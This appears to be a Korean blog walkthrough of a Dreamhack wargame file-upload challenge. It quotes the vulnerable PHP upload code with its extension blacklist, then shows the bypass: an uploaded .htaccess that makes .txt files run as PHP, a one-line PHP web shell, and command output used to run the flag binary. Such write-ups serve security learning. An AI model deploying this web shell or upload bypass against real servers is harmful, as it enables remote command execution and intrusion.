반응형
문제설명
파일 업로드 기능을 악용하여 서버의 권한을 획득하세요 !
코드 분석
upload.php
<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");
if (isset($_FILES)) {
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
$temp = explode(".", $name);
$extension = end($temp);
if(in_array($extension, $deniedExts)){
die($extension . " extension file is not allowed to upload ! ");
}else{
move_uploaded_file($tmp_name, "upload/" . $name);
echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
}
}
}else {
echo "File is not selected";
}
?>
- 업로드 금지 목록 php, php3, php4, php5, pht, phtml
- $FILES가 있으면 업로드 처리 (에러 있으면 에러처리)
- 이름과 확장자 처리하는데 금지목록에 있으면 차단
- 아니면 저장 후 /upload/파일명 으로 저장
000-default.conf
...
<Directory /var/www/html/>
AllowOverride All
Require all granted
</Directory>
...
- AllowOverride All 이므로 .htaccess 허용
취약점분석
- 특정 확장자만 금지시킴
- 파일명을 그대로 저장함
익스플로잇
먼저 파일들이 제대로 업로드되는지 확인해 봄.



제대로 파일이 업로드된 것을 확인
먼저 .htaccess 파일을 다음과 같이 생성해 줌
AddType application/x-httpd-php .txt
- .txt인 파일을 php로 해석하라는 뜻
그다음 .htaccess 파일을 업로드해준다.

제대로 저장됐다. 그다음 exploit.txt를 만들어 내용을 다음과 같이 작성해 준다.
<?php
system($_GET[cmd]);
echo Hello
?>

txt 파일이 php 코드임에도 정상적으로 작동하는 것을 확인할 수 있다.
그다음 아래와 같이 작성해 주면
/upload/ex.txt?cmd=ls -al /
total 92
dr-xr-xr-x 1 root root 4096 Feb 7 14:09 .
dr-xr-xr-x 1 root root 4096 Feb 7 14:09 ..
drwxr-xr-x 2 root root 4096 Jan 25 2022 bin
drwxr-xr-x 2 root root 4096 Apr 10 2014 boot
drwxr-xr-x 8 root root 2540 Feb 7 14:09 dev
drwxr-xr-x 1 root root 4096 Feb 7 14:09 etc
---x--x--x 1 root root 8518 Jan 25 2022 flag
drwxr-xr-x 2 root root 4096 Apr 10 2014 home
drwxr-xr-x 12 root root 4096 Jan 25 2022 lib
drwxr-xr-x 2 root root 4096 Dec 17 2019 lib64
drwxr-xr-x 2 root root 4096 Dec 17 2019 media
drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt
drwxr-xr-x 2 root root 4096 Dec 17 2019 opt
dr-xr-xr-x 112 root root 0 Feb 7 14:09 proc
drwx------ 2 root root 4096 Dec 17 2019 root
drwxr-xr-x 1 root root 4096 Jan 25 2022 run
drwxr-xr-x 2 root root 4096 Mar 25 2021 sbin
drwxr-xr-x 2 root root 4096 Dec 17 2019 srv
dr-xr-xr-x 11 root root 0 Feb 7 15:05 sys
drwxrwxrwt 1 root root 4096 Feb 7 15:21 tmp
drwxr-xr-x 10 root root 4096 Dec 17 2019 usr
drwxr-xr-x 1 root root 4096 Jan 25 2022 var
Hello
flag 파일이 실행파일로 있는 것을 확인
/upload/ex.txt?cmd=/flag
다음과 같이 작성해 주면 플래그 획득

.htaccess
Apache 웹 서버에서 해당 폴더(디렉토리) 단위로 설정을 덮어쓰는 설정 파일이다.
쉽게 말해, 어떤 확장자를 어떤 처리기에게 넘길지, 어떤 파일을 어떤 MIME 타입으로 취급할지 같은 걸 바꾸는 역할을 한다.
ex) .jpg 를 php로 실행해라.
서버가 Apache이고, .htaccess를 적용이 허용돼야 우회 가능함!
반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| amocafe (0) | 2026.02.08 |
|---|---|
| command-injection-chatgpt (0) | 2026.02.08 |
| File Vunleravility Advanced for Linux (0) | 2026.02.07 |
| sql injection bypass WAF (0) | 2026.02.06 |
| Command Injection Advanced (0) | 2026.02.06 |